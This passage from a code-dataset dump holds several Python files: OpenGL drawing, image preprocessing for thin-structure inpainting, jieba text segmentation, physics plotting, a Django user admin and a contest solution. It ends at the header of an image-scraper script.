self.send_msg(msgs)\n","repo_name":"penpen72/ChatGPT-Line-Bot","sub_path":"src/service/website.py","file_name":"website.py","file_ext":"py","file_size_in_byte":4850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"43013510696","text":"import OpenGL\nfrom OpenGL.GL import *\nfrom OpenGL.GLUT import *\nfrom OpenGL.GLU import *\n\nfrom transformation import Transformation\n\n\nfin = [[0,0], [20,-50], [-20,-50]]\ndef clearScreen():\n glClearColor(0.0, 0.0, 0.0, 1.0)\n gluOrtho2D(-150.0, 150.0,-150.0,150.0)\n\ndef draw_triangle(vertices):\n glBegin(GL_TRIANGLES)\n for vertex in vertices:\n glVertex2f(vertex[0], vertex[1])\n glEnd()\n\ndef draw_windmill():\n support = [[0,0], [30,-130], [-30,-130]]\n global fin\n glClear(GL_COLOR_BUFFER_BIT)\n glColor3f(0.8,0.8,0.8)\n draw_triangle(support)\n glColor3f(0.8,0.3,0.5)\n draw_triangle(fin)\n fin = Transformation(fin).rotation(120)\n draw_triangle(fin)\n fin = Transformation(fin).rotation(120)\n draw_triangle(fin)\n fin = Transformation(fin).rotation(0.2)\n glutPostRedisplay()\n glFlush()\n\n\nif __name__ == \"__main__\":\n glutInit()\n glutInitDisplayMode(GLUT_RGB)\n glutCreateWindow(\"Windmill\")\n glutInitWindowSize(500, 500)\n glutInitWindowPosition(50, 50)\n glutDisplayFunc(draw_windmill)\n clearScreen()\n glutMainLoop()\n","repo_name":"bishaljoshi08/GraphicsLab","sub_path":"LAB 2/windmill.py","file_name":"windmill.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"74004440872","text":"import glob\nimport torch\nimport cv2\nimport random\nimport numpy as np\nfrom skimage.morphology import skeletonize\nfrom skimage.transform import rotate\nfrom skimage.util import random_noise\nfrom matplotlib import pyplot as plt\nplt.switch_backend('agg')\n\n\nDEFAULT_SEED = 1997\n\n\ndef get_files(directory, format='png'):\n \"\"\"\n To get a list of file names in one directory, especially images\n :param directory: a path to the directory of the image files\n :return: a list of all the file names in that directory\n \"\"\"\n if format is 'png':\n file_list = glob.glob(directory + \"*.png\")\n elif format is 'tif':\n file_list = glob.glob(directory + \"*.tif\")\n else:\n raise ValueError(\"dataset do not support\")\n\n file_list.sort(key=lambda f: int(''.join(filter(str.isdigit, f))))\n return file_list\n\ndef get_blob_masks(mask_dir):\n masks = []\n files = get_files(mask_dir)\n for file in files:\n mask = cv2.imread(file, 0)\n masks.append(mask)\n return masks\n\n\ndef skeletonize_image(image):\n \"\"\"\n Skeletonize a 2D binary root array\n :param image: a 2D binary image array to be skeletonized\n :return: a skeletonized 2D binary image array\n \"\"\"\n\n # dilate kernel for pre-dilation before skeletonize\n kernel = np.ones((1,1), np.uint8)\n\n # first dilate the image a little bit for better skeletonize\n image = cv2.dilate(image, kernel, iterations=1)\n\n # skeletonize the image\n skeleton = skeletonize(image)\n return skeleton.astype(np.uint8)\n\n\ndef dilate_image(image, min_iter=2, max_iter=5, rng=None):\n \"\"\"\n Dilate a 2D binary root skeleton using iteration decided by iteration\n :param image: 2D binary root skeleton\n :param min_iter: minimum dilation iteraion\n :param max_iter: maximum dilation iteration\n :param rng: numpy random state\n :return:\n \"\"\"\n if rng is None:\n rng = np.random.RandomState(DEFAULT_SEED)\n\n # dilate kernel for image dilation\n kernel = np.ones((3,3), np.uint8)\n\n # random dilation iteration decided by rng random state\n dilate_iter = rng.randint(min_iter, max_iter)\n\n # dilate image skeleton using kernel and iteration\n dilation = cv2.dilate(image, kernel, dilate_iter)\n return dilation.astype(np.uint8)\n\n\ndef rotate_image(image, angle=5, rng=None):\n \"\"\"\n Rotate a 2D binary image in terms of angle\n :param image: a 2D binary image array\n :param angle: rotation angle\n :param rng: numpy random state\n :return: a rotated image\n \"\"\"\n if rng is None:\n rng = np.random.RandomState(DEFAULT_SEED)\n\n angle = rng.uniform(-1., 1.) * angle\n image = rotate(image, angle, resize=False, order=0, preserve_range=True)\n return image\n\n\ndef add_salt_noise_to_skeleton(skeleton, seed=1997):\n \"\"\"\n Add salt noise to an image, used to add noisy edges to a 2D binary root skeleton\n :param skeleton: 2D binary root skeleton array\n :param seed: numpy random seed\n :return: a noisy 2D binary root skeleton array\n \"\"\"\n # create a noise mask\n noise_mask = np.zeros_like(skeleton)\n noise_mask = random_noise(noise_mask, \"salt\", seed=seed, amount=0.05)\n\n # add noise to skeleton\n noise_image = skeleton.copy()\n noise_image[noise_mask == 1] = 1\n\n # find the largest connected component\n noise_image = find_largest_component(noise_image)\n return noise_image.astype(np.uint8)\n\n\ndef find_largest_component(image):\n \"\"\"\n Find the largest fully connected component in an image\n :param image: 2D binary image array\n :return: 2D binary image array containing only largest connected component in the original image\n \"\"\"\n new_image = np.zeros_like(image)\n mask = np.uint8(image == 1)\n labels, stats = cv2.connectedComponentsWithStats(mask, 8)[1:3]\n largest_label = 1 + np.argmax(stats[1:, cv2.CC_STAT_AREA])\n new_image[labels == largest_label] = 1\n return new_image\n\n\ndef randomization_image(image,\n dilation=True,\n noisy_texture=True,\n rotation=True,\n training=True,\n seed=None):\n \"\"\"\n Get a randomized image from randomization\n :param image: 2D binary image\n :param dilation: whether to apply dilation transform\n :param noisy_texture: whether to add noise to root texture\n :param rotation: whether to rotate the images\n :param training: training phase or not\n :param seed: random seed\n :return: a transformed 2D image\n \"\"\"\n if training is True:\n rand_seed = seed\n else:\n rand_seed = DEFAULT_SEED\n\n # if dilation is True\n # skeletonize the root structure\n # if noisy texture is True, add noise to the structure\n # then dilate the root\n if dilation:\n # first skeletonize an image\n image = skeletonize_image(image)\n\n # add noise to image\n if noisy_texture:\n image = add_salt_noise_to_skeleton(image, rand_seed)\n\n image = dilate_image(image, rng=np.random.RandomState(rand_seed))\n\n # if rotate is True and it's in training\n # rotate the dilated image\n if rotation and training:\n rotation_rng = np.random.RandomState(rand_seed)\n p = rotation_rng.uniform(0, 1.)\n if p >= 0.5:\n image = rotate_image(image, angle=5)\n return image\n\n\ndef resize_image(image):\n \"\"\"\n Resize the image to be dividable by 16 so that the network can handle it\n :param image: 2D binary image array\n :return:\n \"\"\"\n height = image.shape[0]\n width = image.shape[1]\n\n desire_width = int(np.floor(width / 16)) * 16\n desire_height = int(np.floor(height / 16)) * 16\n resized_image = cv2.resize(image, (desire_width, desire_height), interpolation=cv2.INTER_NEAREST)\n return resized_image\n\n\ndef get_root_pixels(image, boarder_height, boarder_width, root_pixel_value=1):\n \"\"\"\n Get the root pixels from an 2D image, with boarder removed defined by boarder height and boarder width\n :param image: 2D image array\n :param boarder_height: boarder height to be removed\n :param boarder_width: boarder width to be removed\n :param root_pixel_value: root pixel value\n :return: points\n \"\"\"\n image_height = image.shape[0]\n image_width = image.shape[1]\n masked_image = image.copy()\n mask = np.zeros_like(image)\n mask[boarder_height:image_height-boarder_height, boarder_width:image_width-boarder_width] = 1\n masked_image[mask == 0] = 0\n points = np.where(masked_image == root_pixel_value)\n return points\n\n\ndef get_sliding_windows(image,\n size=256):\n \"\"\"\n Get sliding windows from a whole image\n :param image: an 2D binary root image to be sliced\n :param size: size of windows to be extracted\n :return: windows: a list of patches of desire size\n locations: a list of coordinates of location where original pathches are extracted\n \"\"\"\n windows = []\n locations = []\n # set pixel threshold\n # pixel_threshold = int(0.01 * size ** 2)\n # image width\n image_width = image.shape[1]\n image_height = image.shape[0]\n\n # check image width size\n if 100 < image_width < size:\n\n for h_idx in range(0, (image_height - image_width), image_width):\n # a patch of size (image_width, image_width)\n window = image[h_idx:h_idx+image_width, :]\n # location of format (y_0, x_0, y_1, x_1)\n location = (h_idx, 0, h_idx+image_width, image_width)\n\n # if window.shape[0] != desire_size:\n # window = cv2.resize(window, (desire_size, desire_size), cv2.INTER_LINEAR)\n # _, window = cv2.threshold(window, 0.5, 1, cv2.THRESH_BINARY)\n\n points = get_root_pixels(window, 0, 0, 1)\n num_pixels = len(points[0])\n\n if num_pixels >= 15:\n windows.append(window)\n locations.append(location)\n else:\n continue\n\n elif image_width >= size:\n for h_idx in range(0, (image_height-size), size):\n for w_idx in range(0, (image_width-size), size):\n # a patch of size (extract_size, extract_size)\n window = image[h_idx:h_idx+size, w_idx:w_idx+size]\n # patch location of format (y_0, x_0, y_1, x_1)\n location = (h_idx, w_idx, h_idx+size, w_idx+size)\n\n # if window.shape[0] != desire_size:\n # window = cv2.resize(window, (desire_size, desire_size), cv2.INTER_LINEAR)\n # _, window = cv2.threshold(window, 0.5, 1, cv2.THRESH_BINARY)\n\n points = get_root_pixels(window, 0, 0, 1)\n num_pixels = len(points[0])\n\n if num_pixels >= 50:\n windows.append(window)\n locations.append(location)\n else:\n continue\n\n return windows, locations\n\n\ndef check_image_value(image, min=0, max=1):\n \"\"\"\n Check whether an 2D image is binary\n :param image: 2D image array\n :param min: minimum image value\n :param max: maximum image value\n :return: assertation\n \"\"\"\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n assert image[i][j] == min or image[i][j] == max, \"wrong value {} at ({}, {})\".format(image[i][j], i, j)\n\n\ndef get_image(image_id,\n dilation=True,\n noisy_texture=True,\n rotation=True,\n training=True,\n seed=DEFAULT_SEED):\n \"\"\"\n Augmentation of a synthetic root to be more similar to chickpea root\n :param dilation: True/False whether to dilate the root\n :param noisy_texture: True/False whether to add noise into texture of the root\n :param rotation: True/False whether to rotate the root\n :param training: True/False whether at training stage\n :return: an transformed root image\n \"\"\"\n # read image\n image = cv2.imread(image_id, 0)\n\n # normalize image into [0,1]\n _, image = cv2.threshold(image, 127, 255, cv2.THRESH_BINARY)\n image = (image/255.).astype(np.uint8)\n\n # decide whether to randomize image or not\n p = np.random.uniform(0., 1.)\n if p >= 0.25:\n image = randomization_image(image,\n dilation=dilation,\n noisy_texture=noisy_texture,\n rotation=rotation,\n training=training,\n seed=seed)\n else:\n image = randomization_image(image,\n dilation=False,\n noisy_texture=False,\n rotation=False,\n training=False,\n seed=seed)\n return image\n\n\ndef get_patches(image, size=256):\n \"\"\"\n Get patches from a root image\n :return: windows and locations\n \"\"\"\n windows, locations = get_sliding_windows(image, size)\n return windows, locations\n\n\ndef connected_component(graph, connectivity=4):\n \"\"\"\n Find the connected components of a graph\n :param graph: a binary graph\n :param connectivity: the connenectivity\n :return: num of labels (substract 1 to get the num of components)\n labels\n stats\n \"\"\"\n num_labels, labels, stats, _ = cv2.connectedComponentsWithStats(graph, connectivity, cv2.CV_32S)\n return num_labels, labels, stats\n\n\ndef inpaint_full_image(img, model, threshold=50):\n \"\"\"\n Inpaint a full root\n :param img: a root image\n :param model: a trained model (generator)\n :param threshold: threshold value for binary thresholding the generator output\n \"\"\"\n img = img / 255.\n height = img.shape[0]\n width = img.shape[1]\n desire_height = int(np.floor(height / 16.)) * 16\n desire_width = int(np.floor(width / 16.)) * 16\n\n resized_img = cv2.resize(img, (desire_width, desire_height), interpolation=cv2.INTER_LINEAR)\n _, resized_img = cv2.threshold(resized_img, 0.5, 1, cv2.THRESH_BINARY)\n\n inputs = np.expand_dims(resized_img, axis=-1)\n inputs = np.expand_dims(inputs, axis=0)\n inputs = inputs.transpose((0, 3, 1, 2))\n\n if torch.cuda.is_available():\n inputs = torch.cuda.FloatTensor(inputs)\n else:\n inputs = torch.FloatTensor(inputs)\n\n prediction = model.inference(inputs)\n prediction = prediction.cpu().numpy()\n prediction = prediction.transpose((0, 2, 3, 1))\n mask = (resized_img == 0)\n predict_image = resized_img.copy()\n predict_image[mask] = prediction[0, :, :, 1][mask]\n inpainted = predict_image.copy()\n # binary_inpainted = inpainted.copy()\n # inpainted = prediction.copy()\n # inpainted[prediction[:, :] >= 0.5] = 1 # prediction[:, :, 1]\n unthreshed_inpainted = (inpainted * 255).astype(np.uint8)\n\n binary_inpainted = unthreshed_inpainted.copy()\n binary_inpainted = binary_inpainted.astype(np.uint8)\n\n _, binary_inpainted = cv2.threshold(binary_inpainted, threshold, 255, cv2.THRESH_BINARY)\n\n rgb_inpainted = cv2.cvtColor((resized_img * 255).astype(np.uint8), cv2.COLOR_GRAY2BGR)\n\n rgb_inpainted[:, :, -1] = binary_inpainted\n\n return resized_img*255, binary_inpainted, rgb_inpainted, unthreshed_inpainted\n\n\ndef remove_artifacts(img, threshold=10):\n # grayscale image as input\n num_labels, labels, stats = connected_component((img/255).astype(np.uint8), 8)\n new_img = img.copy()\n\n for i, area in enumerate(stats[1:, cv2.CC_STAT_AREA]):\n if area < threshold:\n index = i + 1\n new_img[labels == index] = 0\n\n return new_img\n\n\ndef mask_with_gaps(image,\n min_num_small=5, max_num_small=10,\n min_num_large=1, max_num_large=1,\n min_small=8, max_small=15,\n min_large=25, max_large=35,\n training=True):\n \"\"\"\n Introduce square gaos\n :param image: an 2D image to be corrupted by square masks\n :param min_num_small: minimum number of small square gaps\n :param num_small: maximum number of small sqaure gaps\n :param min_num_large: minimum number of large square gaps\n :param num_large: maximum number of large square gaps\n :param min_small: minimum size of small square gaps\n :param max_small: maximum size of small square gaps\n :param min_large: minimum size of large square gaps\n :param max_large: maximum size of large square gaps\n :param training: whether is training process; if during training, the size and number are random\n :return: masked_img: the resulting masked 2D image\n :return: masks: a list of masks, used for computing the MSE within gaps\n \"\"\"\n if not training:\n np.random.seed(DEFAULT_SEED)\n\n num_small_gaps = np.random.randint(min_num_small, max_num_small)\n num_large_gaps = np.random.randint(min_num_large, max_num_large)\n img_height = image.shape[0]\n img_width = image.shape[1]\n masked_img = image.copy()\n mask = np.zeros((img_height, img_width))\n\n for i in range(num_large_gaps):\n\n if not training:\n np.random.seed(i)\n\n h = random.randint(min_large, max_large)\n w = random.randint(min_large, max_large)\n points = get_root_pixels(masked_img, h, w)\n num_points = len(points[0]) - 1\n if num_points < 5:\n break\n rand_idx = random.randint(0, num_points)\n y1 = int(points[0][rand_idx] - h / 2)\n x1 = int(points[1][rand_idx] - w / 2)\n mask[y1:y1 + h, x1:x1 + w] = 1\n\n for i in range(num_small_gaps):\n if not training:\n np.random.seed(i)\n\n h = random.randint(min_small, max_small)\n w = random.randint(min_small, max_small)\n points = get_root_pixels(masked_img, h, w)\n num_points = len(points[0]) - 1\n if num_points < 5:\n break\n rand_idx = random.randint(0, num_points)\n y1 = int(points[0][rand_idx] - h / 2)\n x1 = int(points[1][rand_idx] - w / 2)\n mask[y1:y1 + h, x1:x1 + w] = 1\n\n masked_img[mask == 1] = 0\n\n return masked_img, mask\n\n\ndef mask_with_blobs(image,\n total_blob_masks,\n min_num_blobs=5,\n max_num_blobs=15,\n min_mask_size=32,\n max_mask_size=64,\n training=True):\n \"\"\"\n Introduce blob gaos\n :param image: an 2D image to be corrupted by blob masks\n :param total_blob_masks: blob masks list\n :param min_num_blobs: minimum number of blob gaps\n :param max_num_blobs: maximum number of blob gaps\n :param min_mask_size: minimum mask size\n :param max_mask_size: maximum mask size\n :param training: whether is training process; if during training, the size and number are random\n :return: masked_img: the resulting masked 2D image\n :return: masks: a list of masks, used for computing the MSE within gaps\n \"\"\"\n masked_img = image.copy()\n mask = np.zeros_like(image)\n\n if not training:\n np.random.seed(DEFAULT_SEED)\n\n num_blobs = np.random.randint(min_num_blobs, max_num_blobs)\n mask_size = np.random.randint(min_mask_size, max_mask_size)\n # sample masks from BLOB_MASKS LIST\n np.random.shuffle(total_blob_masks)\n blob_masks = total_blob_masks[:num_blobs]\n\n for i, blob_mask in enumerate(blob_masks):\n blob_mask = singleimage_random_rotation(blob_mask, angle=180)\n blob_mask = cv2.resize(blob_mask, (mask_size, mask_size))\n points = get_root_pixels(masked_img, mask_size, mask_size, 1)\n\n if len(points[0]) <= 30:\n break\n\n if not training:\n np.random.seed(DEFAULT_SEED)\n\n rand_idx = np.random.randint(0, len(points[0]))\n x = points[0][rand_idx]\n y = points[1][rand_idx]\n\n mask[y - int(np.floor(mask_size / 2.)):y + (mask_size - int(np.floor(mask_size / 2.))),\n x - int(np.floor(mask_size / 2.)):x + (mask_size - int(np.floor(mask_size / 2.)))][blob_mask == 255] = 1\n masked_img[y - int(np.floor(mask_size / 2.)):y + (mask_size - int(np.floor(mask_size / 2.))),\n x - int(np.floor(mask_size / 2.)):x + (mask_size - int(np.floor(mask_size / 2.)))][blob_mask == 255] = 0\n\n return masked_img, mask\n\n\ndef mask_with_brush(image,\n minVertex=10, maxVertex=20,\n minLength=20, maxLength=25,\n minBrushWidth=20, maxBrughWidth=25,\n maxAngle=45,\n training=True):\n \"\"\"\n Introduce brush gaps\n \"\"\"\n\n # print(image.shape)\n mask = np.zeros((image.shape[0], image.shape[1], 3))\n # mask = np.zeros((64, 64, 3))\n masked_img = image.copy()\n\n if not training:\n np.random.seed(DEFAULT_SEED)\n\n numVertex = np.random.randint(minVertex, maxVertex)\n\n points = np.where(masked_img != 0)\n\n if len(points[0]) >= 5:\n idx = np.random.randint(0, len(points[0]))\n startX = points[0][idx]\n startY = points[1][idx]\n else:\n startX = 0\n startY = 0\n\n for i in range(numVertex):\n if not training:\n np.random.seed(i)\n\n angle = np.random.randint(maxAngle)\n\n if i%2 == 0:\n angle = 2 * np.pi - angle #reverse mode\n\n length = np.random.randint(minLength, maxLength)\n brushWidth = np.random.randint(minBrushWidth, maxBrughWidth)\n\n endX = int(startX + length * np.sin(angle))\n endY = int(startY + length * np.cos(angle))\n mask = cv2.line(mask, (startX, startY), (endX, endY), color=(255, 255, 255), thickness=brushWidth)\n startX = endX\n startY = endY\n mask = cv2.circle(mask, (startX, startY), radius=int(brushWidth/2), color=(255, 255, 255), thickness=-1)\n\n p = np.random.uniform(0, 1)\n\n if p > 0.5:\n mask = cv2.flip(mask, 1)\n\n p = np.random.uniform(0, 1)\n\n if p > 0.5:\n mask = cv2.flip(mask, 0)\n\n mask = mask[..., 0] / 255.\n\n masked_img[mask == 1] = 0\n\n return masked_img, mask\n\n\ndef preprocessing(patch_list, mask_type='square', total_blob_masks=None, training=True):\n \"\"\"\n Make a complete patch list corrupted\n :param patch_list: a list containining complte patches\n :param mask_type: type of gaps to be introduced\n :param total_blob_masks: blob masks list\n :param training: whether is training process\n :return a complete patch list as ground truth, a corrupted patch list as input, and the masks indicating the missing pixels\n \"\"\"\n batch_x = []\n batch_y = []\n batch_masks = []\n\n for img in patch_list:\n if mask_type == 'square':\n masked_img, mask = mask_with_gaps(img,\n min_num_small=5, max_num_small=15,\n min_num_large=1, max_num_large=2,\n min_small=5, max_small=15,\n min_large=25, max_large=45,\n training=training)\n elif mask_type == 'brush':\n masked_img, mask = mask_with_brush(img,\n minVertex=5, maxVertex=15,\n minLength=10, maxLength=30,\n minBrushWidth=10, maxBrughWidth=30,\n maxAngle=45,\n training=training)\n elif mask_type == 'blob':\n masked_img, mask = mask_with_blobs(img,\n total_blob_masks,\n min_num_blobs=5,\n max_num_blobs=20,\n min_mask_size=32,\n max_mask_size=64,\n training=training)\n elif mask_type == 'mix':\n mask = np.zeros_like(img)\n masked_img = img.copy()\n _, brush_mask = mask_with_brush(img,\n minVertex=5, maxVertex=10,\n minLength=5, maxLength=15,\n minBrushWidth=5, maxBrughWidth=15,\n maxAngle=60,\n training=training)\n _, square_mask = mask_with_gaps(img,\n min_num_small=5, max_num_small=15,\n min_num_large=1, max_num_large=2,\n min_small=5, max_small=15,\n min_large=25, max_large=35,\n training=training)\n _, blob_mask = mask_with_blobs(img,\n total_blob_masks,\n min_num_blobs=5,\n max_num_blobs=10,\n min_mask_size=32,\n max_mask_size=64,\n training=training)\n\n mask[brush_mask == 1] = 1\n mask[square_mask == 1] = 1\n mask[blob_mask == 1] = 1\n masked_img[mask == 1] = 0\n else:\n raise ValueError('mask type: {}'.format(mask_type))\n _, masked_img = cv2.threshold(masked_img, 0.5, 1, cv2.THRESH_BINARY)\n batch_x.append(masked_img)\n\n img = img\n img = np.expand_dims(img, axis=-1)\n reverse_img = np.ones(img.shape)\n reverse_img[img == 1.0] = 0\n batch_y.append(np.concatenate((img, reverse_img), axis=-1))\n batch_masks.append(mask)\n\n batch_x = np.stack(batch_x)\n batch_x = np.expand_dims(batch_x, axis=-1)\n batch_y = np.stack(batch_y)\n batch_masks = np.stack(batch_masks)\n batch_masks = np.expand_dims(batch_masks, axis=-1)\n return batch_x, batch_y, batch_masks\n\n\ndef singleimage_random_rotation(image, angle=5):\n \"\"\"\n Rotate an image\n :param image: 2D binary image;\n :param angle: rotation angle\n \"\"\"\n angle = np.random.uniform(-1., 1.) * angle\n new_image = rotate(image, angle, resize=False, order=0, preserve_range=True)\n return new_image\n\n\n\ndef convert_labels_to_rgb(labels):\n \"\"\"\n convert graph components labels into RGB image\n \"\"\"\n # Map component labels to hue val\n label_hue = np.uint8(179 * labels / np.max(labels))\n blank_ch = 255 * np.ones_like(label_hue)\n labeled_img = cv2.merge([label_hue, blank_ch, blank_ch])\n\n # cvt to BGR for display\n labeled_img = cv2.cvtColor(labeled_img, cv2.COLOR_HSV2BGR)\n\n # set bg label to black\n labeled_img[label_hue == 0] = 0\n return labeled_img\n\n\ndef extract_patch_from_tensor(tensor_X, patch_size):\n \"\"\"\n Function for patch discriminator\n \"\"\"\n list_X = []\n list_row_idx = [(i * patch_size[0], (i + 1) * patch_size[0]) for i in range(tensor_X.size(2) // patch_size[0])]\n list_col_idx = [(i * patch_size[1], (i + 1) * patch_size[1]) for i in range(tensor_X.size(3) // patch_size[1])]\n for row_idx in list_row_idx:\n for col_idx in list_col_idx:\n patches = tensor_X[:, :, row_idx[0]:row_idx[1], col_idx[0]:col_idx[1]]\n patches = torch.where(patches >= 0.5, torch.ones_like(patches), torch.zeros_like(patches))\n list_X.append(patches)\n return list_X","repo_name":"Hhhhhhao/Thin-Structure-Inpainting","sub_path":"utils/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":25460,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"21853981545","text":"import pandas as pd\nimport jieba\n\ndef readFile(file_name):\n fp = open(file_name, \"r\", encoding=\"utf-8\")\n content_lines = fp.readlines()\n fp.close()\n #去除行末的换行符,否则会在停用词匹配的过程中产生干扰\n for i in range(len(content_lines)):\n content_lines[i] = content_lines[i].rstrip(\"\\n\")\n return content_lines\n\ndef wordCut (lines):\n stopwords = readFile(\"stopwords.txt\")\n userStopwords = ['\\t', ' ', ',', '~', '_', '...', '…', '##', '|', '!', '🤣', '❤', '🙏', '\\u200b', 'http', 't', 'cn', '☎', '❌', '❗', '〜']\n stopwords += userStopwords\n wordLists = []\n for line in lines :\n wordList = []\n wordList += [word for word in jieba.cut(line) if word not in stopwords]\n wordLists.append(' '.join(wordList))\n return wordLists\n\ndef preprocess(dataset):\n # dataset = pd.read_csv('train.csv')\n dataset.fillna (' ', inplace = True)\n dataset['text'] = dataset['content'] + dataset['comment_all']\n dataset.drop (dataset.columns[[0, 1, 2]], axis = 1, inplace = True)\n dataset[\"textCut\"] = wordCut(dataset[\"text\"])\n print (dataset)\n return dataset\n\ndataset = pd.read_csv('train.csv')\npreprocess(dataset).to_csv (\"trainCut.csv\")\ndataset = pd.read_csv('test.csv')\npreprocess(dataset).to_csv (\"testCut.csv\")","repo_name":"Huang-Yujie/Machine_Learning_Experiment","sub_path":"preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42393223592","text":"import sys, os\nfrom string import *\nimport ROOT as rt\nfrom ROOT import TFile, TText, TLatex\n\nimport plotTools\n\nif __name__ == '__main__':\n\n\n outputdir = \".\"\n outfile = TFile.Open(outputdir+\"/trigplots.root\",\"RECREATE\")\n\n # Integrated luminosity in fb-1s\n intlumi = 19.7 # ABCD\n\n # set root styles\n plotTools.SetBoostStyle()\n \n\n ##########################################\n # Plot with trigger efficiency\n ##########################################\n\n trigdir = \".\"\n inputfile_trig = trigdir + \"/hlteff_0_pre_singlel.root\"\n infile_trig = TFile.Open(inputfile_trig)\n\n hdict_trig = plotTools.ConstructHDict(infile_trig.Get(\"h_HT_j1pt_pre_effph_l\"),\n name=\"\",\n #name=\"#splitline{Preselection}{SingleL}\", \n title=\"\",\n xtitle=\"H_{T} (GeV)\", ytitle=\"p_{T}(j_{1}) (GeV)\", ztitle=\"Efficiency\",\n drawoption=\"colz\", palette=\"SMS\") \n canvasname = \"h_HT_j1pt_pre_eff_ph_l\"\n #plotTools.Plot2DPAS(hdict_trig,outputdir,outfile,cname=canvasname,scale=\"No\",logscale=False,lumitext=\" Preliminary\", zmax=1.)\n\n text1 = TLatex(0.15,0.2,\"#splitline{SingleL, preselection,}{unc = max(err+, diff)}\")\n text1.SetNDC()\n text1.SetTextSize(0.05)\n text1.SetTextFont(42)\n\n hdict_trig2 = plotTools.ConstructHDict(infile_trig.Get(\"h_HT_j1pt_0_pre_errdiff_up_ph_l\"),\n name=\"\",\n #name=\"#splitline{Preselection}{SingleL}\", \n title=\"\",\n xtitle=\"H_{T} (GeV)\", ytitle=\"p_{T}(j_{1}) (GeV)\", ztitle=\"Efficiency uncertainty\",\n drawoption=\"colz\", palette=\"SMS\") \n canvasname = \"h_HT_j1pt_0_pre_errdiff_up_ph_l_forThesis\"\n plotTools.Plot2DPAS(hdict_trig2,outputdir,outfile,cname=canvasname,scale=\"No\",logscale=True,lumitext=\"\", zmax=1., extras=[text1])\n \n\n text2 = TLatex(0.15,0.2,\"#splitline{SingleL, preselection,}{unc = max(err-, diff)}\")\n text2.SetNDC()\n text2.SetTextSize(0.05)\n text2.SetTextFont(42)\n\n hdict_trig3 = plotTools.ConstructHDict(infile_trig.Get(\"h_HT_j1pt_0_pre_errdiff_low_ph_l\"),\n name=\"\",\n #name=\"#splitline{Preselection}{SingleL}\", \n title=\"\",\n xtitle=\"H_{T} (GeV)\", ytitle=\"p_{T}(j_{1}) (GeV)\", ztitle=\"Efficiency uncertainty\",\n drawoption=\"colz\", palette=\"SMS\") \n canvasname = \"h_HT_j1pt_0_pre_errdiff_low_ph_l_forThesis\"\n plotTools.Plot2DPAS(hdict_trig3,outputdir,outfile,cname=canvasname,scale=\"No\",logscale=True,lumitext=\"\", zmax=1., extras=[text2])\n \n\n \n outfile.Close()\n infile_trig.Close()\n","repo_name":"nstrobbe/Thesis","sub_path":"figures/razor_trigger/get2DplotsforPAS.py","file_name":"get2DplotsforPAS.py","file_ext":"py","file_size_in_byte":3001,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29768010058","text":"from django.contrib import admin\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\n\nfrom .forms import UserChangeForm, UserCreateForm\n\nuser = get_user_model()\n\n\n@admin.register(user)\nclass UserAdmin(BaseUserAdmin):\n form = UserChangeForm\n add_form = UserCreateForm\n\n list_display = (\"national_code\", \"phone_number\", \"is_admin\")\n list_filter = (\"is_admin\",)\n readonly_fields = (\"last_login\",)\n\n fieldsets = (\n (\n \"Main\",\n {\n \"fields\": (\n \"phone_number\",\n \"first_name\",\n \"last_name\",\n \"password\",\n \"national_code\",\n )\n },\n ),\n (\n \"Permissions\",\n {\n \"fields\": (\n \"is_active\",\n \"is_admin\",\n \"is_student\",\n \"is_superuser\",\n \"last_login\",\n \"groups\",\n \"user_permissions\",\n )\n },\n ),\n )\n\n add_fieldsets = (\n (\n None,\n {\n \"fields\": (\n \"phone_number\",\n \"first_name\",\n \"last_name\",\n \"national_code\",\n \"password1\",\n \"password2\",\n )\n },\n ),\n )\n search_fields = (\"last_name\",)\n filter_horizontal = (\"groups\", \"user_permissions\")\n ordering = (\"created\",)\n\n def get_form(self, request, obj=None, **kwargs):\n form = super().get_form(request, obj, **kwargs)\n is_superuser = request.user.is_superuser\n if not is_superuser:\n form.base_fields[\"is_superuser\"].disabled = True\n return form\n","repo_name":"elyashedayat10/School-Managmet-System","sub_path":"account/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"15140736759","text":"N = int(input())\r\nAs, Bs = [], []\r\nfor i in range(N):\r\n A, B = map(int, input().split())\r\n As.append((A, i))\r\n Bs.append((B, i))\r\n\r\nansA = sum([A for A, i in As])\r\nansB = sum([B for B, i in Bs])\r\n\r\nCs = sorted(As + Bs)\r\n\r\nuseds = [False] * N\r\nsumC = 0\r\nfor C, i in Cs[:N]:\r\n useds[i] = True\r\n sumC += C\r\n\r\nif not all(useds):\r\n ansC = sumC\r\nelif Cs[N-1][1] != Cs[N][1]:\r\n ansC = sumC - Cs[N-1][0] + Cs[N][0]\r\nelse:\r\n ansC = min(sumC - Cs[N-2][0] + Cs[N][0], sumC - Cs[N-1][0] + Cs[N+1][0])\r\n\r\nprint(min(ansA, ansB, ansC))","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/AtCoder/agc028/C/4640881.py","file_name":"4640881.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"43130063019","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n \n'''\n@Author : Anuo.\n \n@License : (C) Copyright 2018, Anuo's Studio\n \n@Contact : 188512936@qq.com\n \n@Software: VS2017\n \n@File : meizhuo_spider.py\n \n@Time : Aug 22,2018\n \n@Desc : 美桌网美女图片爬虫。\n \n'''\n\nimport os\nimport sys\nimport requests\nfrom bs4 import BeautifulSoup # pip install beautifulsoup4\nfrom multiprocessing.pool import Pool\n\n\ndef main():\n '''主流程:提取图集,然后启动多线程对每个图集的图进行下载'''\n\n url = 